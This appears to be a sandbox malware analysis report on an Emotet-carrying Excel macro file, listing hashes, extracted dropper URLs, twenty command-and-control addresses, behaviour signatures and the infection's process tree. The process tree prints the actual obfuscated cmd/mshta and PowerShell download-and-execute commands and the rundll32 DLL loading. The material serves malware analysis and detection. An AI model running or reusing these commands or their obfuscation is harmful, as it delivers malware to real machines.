Analysis

  • max time kernel
    152s
  • max time network
    147s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    20-01-2022 02:02

General

  • Target

    45ae174e0c5d865a0e1a2f1831df896eb8e6edd60b0505864baa9a2db811a536.xlsm

  • Size

    115KB

  • MD5

    ade959d1528828eccc6468dd5c44b211

  • SHA1

    9d6835a997ddd704e83e1d8679e31deccfb4c546

  • SHA256

    45ae174e0c5d865a0e1a2f1831df896eb8e6edd60b0505864baa9a2db811a536

  • SHA512

    540bc455cceba39cdcb94837f5c532eeda8a118d21406feb6c4b2c72c5b9b3d0d14b8cabc360371ee4478734b76b5f129cdebc3947e93fcab621fc68896db89e

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0x5cff39c3/sec/se1.html

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://92.255.57.195/sec/se1.png

Extracted

Family

emotet

Botnet

Epoch5

C2

45.138.98.34:80

69.16.218.101:8080

51.210.242.234:8080

185.148.168.220:8080

142.4.219.173:8080

54.38.242.185:443

191.252.103.16:80

104.131.62.48:8080

62.171.178.147:8080

217.182.143.207:443

168.197.250.14:80

37.44.244.177:8080

66.42.57.149:443

210.57.209.142:8080

159.69.237.188:443

116.124.128.206:8080

128.199.192.135:8080

195.154.146.35:443

185.148.168.15:8080

195.77.239.39:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 6 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 19 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 20 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\45ae174e0c5d865a0e1a2f1831df896eb8e6edd60b0505864baa9a2db811a536.xlsm"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2676
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:636
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/se1.html
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:2872
        • C:\Windows\system32\mshta.exe
          mshta http://0x5cff39c3/sec/se1.html
          3⤵
          • Blocklisted process makes network request
          • Suspicious use of WriteProcessMemory
          PID:4092
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/sec/se1.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
            4⤵
            • Blocklisted process makes network request
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:348
            • C:\Windows\system32\cmd.exe
              "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:1096
              • C:\Windows\SysWow64\rundll32.exe
                C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
                6⤵
                • Loads dropped DLL
                • Suspicious use of WriteProcessMemory
                PID:3780
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
                  7⤵
                  • Loads dropped DLL
                  • Drops file in System32 directory
                  • Suspicious use of WriteProcessMemory
                  PID:2664
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Jusyzecbdgtgkaed\qxttbnus.twz",gSDS
                    8⤵
                    • Suspicious use of WriteProcessMemory
                    PID:4044
                    • C:\Windows\SysWOW64\rundll32.exe
                      C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Jusyzecbdgtgkaed\qxttbnus.twz",DllRegisterServer
                      9⤵
                      • Blocklisted process makes network request
                      • Suspicious behavior: EnumeratesProcesses
                      PID:1420
          • C:\Windows\system32\WerFault.exe
            C:\Windows\system32\WerFault.exe -u -p 4092 -s 1660
            4⤵
            • Program crash
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1276

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/348-414-0x0000020A7B793000-0x0000020A7B795000-memory.dmp

      Filesize

      8KB

    • memory/348-673-0x0000020A7B796000-0x0000020A7B798000-memory.dmp

      Filesize

      8KB

    • memory/348-494-0x0000020A7BED0000-0x0000020A7BF46000-memory.dmp

      Filesize

      472KB

    • memory/348-452-0x0000020A7B740000-0x0000020A7B77C000-memory.dmp

      Filesize

      240KB

    • memory/348-376-0x0000020A7B6D0000-0x0000020A7B6F2000-memory.dmp

      Filesize

      136KB

    • memory/348-413-0x0000020A7B790000-0x0000020A7B792000-memory.dmp

      Filesize

      8KB

    • memory/2664-705-0x0000000004CA0000-0x0000000004CC8000-memory.dmp

      Filesize

      160KB

    • memory/2664-703-0x0000000004790000-0x00000000047B8000-memory.dmp

      Filesize

      160KB

    • memory/2664-713-0x0000000005040000-0x0000000005068000-memory.dmp

      Filesize

      160KB

    • memory/2664-711-0x0000000004EE0000-0x0000000004F08000-memory.dmp

      Filesize

      160KB

    • memory/2664-709-0x0000000004E80000-0x0000000004EA8000-memory.dmp

      Filesize

      160KB

    • memory/2664-707-0x0000000004D80000-0x0000000004DA8000-memory.dmp

      Filesize

      160KB

    • memory/2676-121-0x00007FFEEF820000-0x00007FFEEF830000-memory.dmp

      Filesize

      64KB

    • memory/2676-119-0x00007FFEEF820000-0x00007FFEEF830000-memory.dmp

      Filesize

      64KB

    • memory/2676-118-0x00007FFEEF820000-0x00007FFEEF830000-memory.dmp

      Filesize

      64KB

    • memory/2676-120-0x00007FFEEF820000-0x00007FFEEF830000-memory.dmp

      Filesize

      64KB

    • memory/2676-132-0x00007FFEEC6D0000-0x00007FFEEC6E0000-memory.dmp

      Filesize

      64KB

    • memory/2676-130-0x00007FFEEC6D0000-0x00007FFEEC6E0000-memory.dmp

      Filesize

      64KB

    • memory/2676-131-0x00007FFEEF820000-0x00007FFEEF830000-memory.dmp

      Filesize

      64KB

    • memory/3780-696-0x0000000004760000-0x0000000004788000-memory.dmp

      Filesize

      160KB

    • memory/4044-714-0x0000000000DA0000-0x0000000000DC8000-memory.dmp

      Filesize

      160KB